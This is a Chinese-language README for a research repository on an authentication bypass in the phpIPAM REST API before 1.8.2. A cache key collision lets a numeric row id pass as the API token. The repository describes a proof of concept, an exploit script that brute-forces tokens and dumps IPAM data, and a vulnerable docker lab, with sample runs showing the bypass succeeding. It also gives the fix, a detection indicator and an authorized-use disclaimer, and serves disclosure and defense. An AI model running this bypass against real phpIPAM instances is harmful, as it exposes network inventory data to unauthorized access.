phpIPAM REST API 中存在未认证的身份验证绕过漏洞,其根源在于对象缓存键冲突:在解析 API 应用的 app_id 时缓存的数据行,只要提供的令牌等于该行的数字 id,就能满足后续的 app_code(令牌)检查。应用的真实密钥从未被比较。
AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N)app_security = ssl_code 的 REST API 应用d29728f)| 文件 | 用途 |
|---|
poc_cache_collision.php | 逻辑级 PoC。针对模拟数据库运行逐字的易受攻击(v1.8.1)和已修复(1.8.2)版本的 fetch_object/cache_check/cache_write 实现,并重放单个 HTTP 请求的精确获取序列。无需安装 phpIPAM。 |
exploit.py | 针对运行中的 phpIPAM < 1.8.2 实例的远程利用:枚举有效的 app_id(400 与 401),暴力破解数字令牌(通常为 id 1-3),并可选择性地导出 sections/subnets/VLANs/devices。 |
docker-compose.yml | 易受攻击的实验环境:phpIPAM v1.8.1 + MariaDB,纯 HTTP 并设置 IPAM_TRUST_X_FORWARDED=true,以便通过 X-Forwarded-Proto 头测试 ssl_code 应用。 |
$ php poc_cache_collision.php vulnerable
[1] fetch_object('api','app_id','client') -> row id=2, app_security=ssl_code
[2] fetch_object('api','app_code','2') (phpipam-token header) -> OBJECT (cache hit!)
[3] $app_id == $app_temp->app_id -> AUTHENTICATED
$ php poc_cache_collision.php fixed
[2] fetch_object('api','app_code','2') (phpipam-token header) -> false
[3] Response: 401 Unauthorized — token rejected
$ docker compose up -d
http://localhost:8080/,进入安装程序
(http://localhost:8080/install/),选择自动数据库
安装,MySQL 用户 root / 密码 phpipamAdminRoot。admin / admin),按提示设置新的管理员密码。app_id):client运行利用脚本(--xfp 标志通过 X-Forwarded-Proto 满足 HTTPS 检查,
实验环境信任该头):
$ python3 exploit.py http://localhost:8080 --app-id client --xfp --dump
[*] Target: http://localhost:8080
[*] Brute-forcing numeric tokens (row ids) 1..64 for app_id='client'...
[+] AUTHENTICATION BYPASSED — phpipam-token: 1 is accepted
[+] The app's real 32-char app_code was never needed.
[+] GET /api/client/sections/ -> HTTP 200, 1 section(s) readable
[*] Dumping IPAM data...
d29728f)。ssl_code API 应用(其他
安全模式不受此缓存冲突影响)。phpipam-token 头的 /api/<app_id>/... 请求——合法令牌是
32 字符的随机字符串,因此数字令牌是高保真 IOC。本仓库仅用于防御性研究和经授权的渗透测试。 只可针对你拥有或已获得书面许可进行测试的系统运行。